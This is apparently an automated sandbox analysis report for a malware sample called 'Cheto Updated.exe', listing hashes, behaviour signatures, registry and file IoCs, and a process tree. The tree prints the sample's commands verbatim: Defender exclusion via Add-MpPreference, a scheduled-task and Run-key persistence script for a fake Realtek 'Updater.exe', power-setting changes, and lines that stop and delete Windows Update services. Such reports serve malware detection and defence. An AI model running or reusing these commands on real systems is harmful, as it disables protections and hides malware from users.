2e0f2a82868cc31985e9b8c022f852919033c666382aaa3026c456b9c449db3d

Analysis

max time kernel
261s
max time network
317s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
01/02/2023, 18:38

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General

Target

Cheto Updated.exe
Size

4.8MB
MD5

dd6c66d5250437db33b821f5d2c90aa2
SHA1

b3be3c2a7455d89cfec2fdbaf93a9f8ebcf4a406
SHA256

2e0f2a82868cc31985e9b8c022f852919033c666382aaa3026c456b9c449db3d
SHA512

98583056619c30c732889959a69a50e43553f745193e9da5ac8b8c84b1457d7019868dd62f64060bada9392b60cbd3a4e09af54ae8380fa8388a7e561a4625da
SSDEEP

98304:Kmz0W3de75qz67ThdyKBj/rhLdaH+Cn5S4YztVm5BppzAaWMr:dzz3detq23hIKBzVxGA4Y3sBTzWMr

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs

description	pid	Process	procid_target
PID 2936 created 2492	2936	conhost_8.exe	44
PID 2936 created 2492	2936	conhost_8.exe	44
PID 2936 created 2492	2936	conhost_8.exe	44
PID 2936 created 2492	2936	conhost_8.exe	44
PID 2936 created 2492	2936	conhost_8.exe	44
PID 4960 created 2492	4960	Updater.exe	44
PID 4960 created 2492	4960	Updater.exe	44
PID 4960 created 2492	4960	Updater.exe	44
PID 4960 created 2492	4960	Updater.exe	44
PID 4960 created 2492	4960	Updater.exe	44
PID 4960 created 2492	4960	Updater.exe	44
PID 4436 created 2492	4436	conhost.exe	44

Executes dropped EXE 3 IoCs

pid	Process
2936	conhost_8.exe
4960	Updater.exe
2456	ChromeRecovery.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	Cheto Updated.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4152	Cheto Updated.exe
4152	Cheto Updated.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4960 set thread context of 4436	4960	Updater.exe	135

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4796_1452131574\ChromeRecoveryCRX.crx	elevation_service.exe
File opened for modification	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4796_1452131574\ChromeRecovery.exe	elevation_service.exe
File created	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4796_1452131574\manifest.json	elevation_service.exe
File opened for modification	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4796_1452131574\manifest.json	elevation_service.exe
File created	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4796_1452131574\_metadata\verified_contents.json	elevation_service.exe
File opened for modification	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4796_1452131574\_metadata\verified_contents.json	elevation_service.exe
File created	C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe	conhost_8.exe
File created	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4796_1452131574\ChromeRecovery.exe	elevation_service.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4688	sc.exe
752	sc.exe
2188	sc.exe
3472	sc.exe
1504	sc.exe
4104	sc.exe
4288	sc.exe
1352	sc.exe
1856	sc.exe
4084	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 52 IoCs

pid	Process
2936	conhost_8.exe
2936	conhost_8.exe
3772	powershell.exe
3772	powershell.exe
2936	conhost_8.exe
2936	conhost_8.exe
2936	conhost_8.exe
2936	conhost_8.exe
2936	conhost_8.exe
2936	conhost_8.exe
5080	powershell.exe
5080	powershell.exe
2936	conhost_8.exe
2936	conhost_8.exe
2304	powershell.exe
2304	powershell.exe
4960	Updater.exe
4960	Updater.exe
3464	powershell.exe
3464	powershell.exe
4960	Updater.exe
4960	Updater.exe
4960	Updater.exe
4960	Updater.exe
4960	Updater.exe
4960	Updater.exe
3992	powershell.exe
3992	powershell.exe
4960	Updater.exe
4960	Updater.exe
4960	Updater.exe
4960	Updater.exe
4436	conhost.exe
4436	conhost.exe
4900	chrome.exe
4900	chrome.exe
1324	chrome.exe
1324	chrome.exe
4324	chrome.exe
4324	chrome.exe
2840	chrome.exe
2840	chrome.exe
2244	chrome.exe
2244	chrome.exe
4944	chrome.exe
4944	chrome.exe
4956	chrome.exe
4956	chrome.exe
380	chrome.exe
380	chrome.exe
380	chrome.exe
380	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3772	powershell.exe
Token: SeShutdownPrivilege	5068	powercfg.exe
Token: SeCreatePagefilePrivilege	5068	powercfg.exe
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeShutdownPrivilege	3196	powercfg.exe
Token: SeCreatePagefilePrivilege	3196	powercfg.exe
Token: SeShutdownPrivilege	4352	powercfg.exe
Token: SeCreatePagefilePrivilege	4352	powercfg.exe
Token: SeShutdownPrivilege	3216	powercfg.exe
Token: SeCreatePagefilePrivilege	3216	powercfg.exe
Token: SeIncreaseQuotaPrivilege	5080	powershell.exe
Token: SeSecurityPrivilege	5080	powershell.exe
Token: SeTakeOwnershipPrivilege	5080	powershell.exe
Token: SeLoadDriverPrivilege	5080	powershell.exe
Token: SeSystemProfilePrivilege	5080	powershell.exe
Token: SeSystemtimePrivilege	5080	powershell.exe
Token: SeProfSingleProcessPrivilege	5080	powershell.exe
Token: SeIncBasePriorityPrivilege	5080	powershell.exe
Token: SeCreatePagefilePrivilege	5080	powershell.exe
Token: SeBackupPrivilege	5080	powershell.exe
Token: SeRestorePrivilege	5080	powershell.exe
Token: SeShutdownPrivilege	5080	powershell.exe
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeSystemEnvironmentPrivilege	5080	powershell.exe
Token: SeRemoteShutdownPrivilege	5080	powershell.exe
Token: SeUndockPrivilege	5080	powershell.exe
Token: SeManageVolumePrivilege	5080	powershell.exe
Token: 33	5080	powershell.exe
Token: 34	5080	powershell.exe
Token: 35	5080	powershell.exe
Token: 36	5080	powershell.exe
Token: SeIncreaseQuotaPrivilege	5080	powershell.exe
Token: SeSecurityPrivilege	5080	powershell.exe
Token: SeTakeOwnershipPrivilege	5080	powershell.exe
Token: SeLoadDriverPrivilege	5080	powershell.exe
Token: SeSystemProfilePrivilege	5080	powershell.exe
Token: SeSystemtimePrivilege	5080	powershell.exe
Token: SeProfSingleProcessPrivilege	5080	powershell.exe
Token: SeIncBasePriorityPrivilege	5080	powershell.exe
Token: SeCreatePagefilePrivilege	5080	powershell.exe
Token: SeBackupPrivilege	5080	powershell.exe
Token: SeRestorePrivilege	5080	powershell.exe
Token: SeShutdownPrivilege	5080	powershell.exe
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeSystemEnvironmentPrivilege	5080	powershell.exe
Token: SeRemoteShutdownPrivilege	5080	powershell.exe
Token: SeUndockPrivilege	5080	powershell.exe
Token: SeManageVolumePrivilege	5080	powershell.exe
Token: 33	5080	powershell.exe
Token: 34	5080	powershell.exe
Token: 35	5080	powershell.exe
Token: 36	5080	powershell.exe
Token: SeIncreaseQuotaPrivilege	5080	powershell.exe
Token: SeSecurityPrivilege	5080	powershell.exe
Token: SeTakeOwnershipPrivilege	5080	powershell.exe
Token: SeLoadDriverPrivilege	5080	powershell.exe
Token: SeSystemProfilePrivilege	5080	powershell.exe
Token: SeSystemtimePrivilege	5080	powershell.exe
Token: SeProfSingleProcessPrivilege	5080	powershell.exe
Token: SeIncBasePriorityPrivilege	5080	powershell.exe
Token: SeCreatePagefilePrivilege	5080	powershell.exe
Token: SeBackupPrivilege	5080	powershell.exe
Token: SeRestorePrivilege	5080	powershell.exe
Token: SeShutdownPrivilege	5080	powershell.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe
1324	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4152	Cheto Updated.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4152 wrote to memory of 2936	4152	Cheto Updated.exe	79
PID 4152 wrote to memory of 2936	4152	Cheto Updated.exe	79
PID 1848 wrote to memory of 1504	1848	cmd.exe	95
PID 1848 wrote to memory of 1504	1848	cmd.exe	95
PID 3500 wrote to memory of 5068	3500	cmd.exe	94
PID 3500 wrote to memory of 5068	3500	cmd.exe	94
PID 3500 wrote to memory of 3196	3500	cmd.exe	96
PID 3500 wrote to memory of 3196	3500	cmd.exe	96
PID 1848 wrote to memory of 4104	1848	cmd.exe	97
PID 1848 wrote to memory of 4104	1848	cmd.exe	97
PID 3500 wrote to memory of 4352	3500	cmd.exe	98
PID 3500 wrote to memory of 4352	3500	cmd.exe	98
PID 1848 wrote to memory of 4288	1848	cmd.exe	99
PID 1848 wrote to memory of 4288	1848	cmd.exe	99
PID 3500 wrote to memory of 3216	3500	cmd.exe	100
PID 3500 wrote to memory of 3216	3500	cmd.exe	100
PID 1848 wrote to memory of 4084	1848	cmd.exe	101
PID 1848 wrote to memory of 4084	1848	cmd.exe	101
PID 1848 wrote to memory of 1352	1848	cmd.exe	102
PID 1848 wrote to memory of 1352	1848	cmd.exe	102
PID 1848 wrote to memory of 3988	1848	cmd.exe	103
PID 1848 wrote to memory of 3988	1848	cmd.exe	103
PID 1848 wrote to memory of 4456	1848	cmd.exe	104
PID 1848 wrote to memory of 4456	1848	cmd.exe	104
PID 1848 wrote to memory of 3604	1848	cmd.exe	105
PID 1848 wrote to memory of 3604	1848	cmd.exe	105
PID 1848 wrote to memory of 3252	1848	cmd.exe	106
PID 1848 wrote to memory of 3252	1848	cmd.exe	106
PID 1848 wrote to memory of 4828	1848	cmd.exe	107
PID 1848 wrote to memory of 4828	1848	cmd.exe	107
PID 2304 wrote to memory of 5076	2304	powershell.exe	110
PID 2304 wrote to memory of 5076	2304	powershell.exe	110
PID 1328 wrote to memory of 4688	1328	cmd.exe	119
PID 1328 wrote to memory of 4688	1328	cmd.exe	119
PID 1328 wrote to memory of 752	1328	cmd.exe	121
PID 1328 wrote to memory of 752	1328	cmd.exe	121
PID 4796 wrote to memory of 2052	4796	cmd.exe	120
PID 4796 wrote to memory of 2052	4796	cmd.exe	120
PID 4796 wrote to memory of 2344	4796	cmd.exe	122
PID 4796 wrote to memory of 2344	4796	cmd.exe	122
PID 1328 wrote to memory of 2188	1328	cmd.exe	123
PID 1328 wrote to memory of 2188	1328	cmd.exe	123
PID 4796 wrote to memory of 3152	4796	cmd.exe	126
PID 4796 wrote to memory of 3152	4796	cmd.exe	126
PID 1328 wrote to memory of 3472	1328	cmd.exe	127
PID 1328 wrote to memory of 3472	1328	cmd.exe	127
PID 1328 wrote to memory of 1856	1328	cmd.exe	129
PID 1328 wrote to memory of 1856	1328	cmd.exe	129
PID 4796 wrote to memory of 380	4796	cmd.exe	128
PID 4796 wrote to memory of 380	4796	cmd.exe	128
PID 1328 wrote to memory of 2612	1328	cmd.exe	130
PID 1328 wrote to memory of 2612	1328	cmd.exe	130
PID 1328 wrote to memory of 2160	1328	cmd.exe	131
PID 1328 wrote to memory of 2160	1328	cmd.exe	131
PID 1328 wrote to memory of 3172	1328	cmd.exe	132
PID 1328 wrote to memory of 3172	1328	cmd.exe	132
PID 1328 wrote to memory of 4136	1328	cmd.exe	133
PID 1328 wrote to memory of 4136	1328	cmd.exe	133
PID 1328 wrote to memory of 792	1328	cmd.exe	134
PID 1328 wrote to memory of 792	1328	cmd.exe	134
PID 4960 wrote to memory of 4436	4960	Updater.exe	135
PID 4452 wrote to memory of 3608	4452	cmd.exe	140
PID 4452 wrote to memory of 3608	4452	cmd.exe	140
PID 1324 wrote to memory of 3576	1324	chrome.exe	144

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2492
- C:\Users\Admin\AppData\Local\Temp\Cheto Updated.exe
  "C:\Users\Admin\AppData\Local\Temp\Cheto Updated.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Users\Admin\AppData\Roaming\conhost_8.exe
    "C:\Users\Admin\AppData\Roaming\conhost_8.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    PID:2936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ghggx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Realtek' /tr '''C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Realtek' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Realtek" /t REG_SZ /f /d 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5080
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5068
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3196
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4352
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3216
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1504
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4104
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4288
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4084
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1352
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:3988
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4456
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:3604
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3252
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hxfqxya#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Realtek" } Else { "C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn Realtek
    3⤵
    PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3464
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4688
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:752
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2188
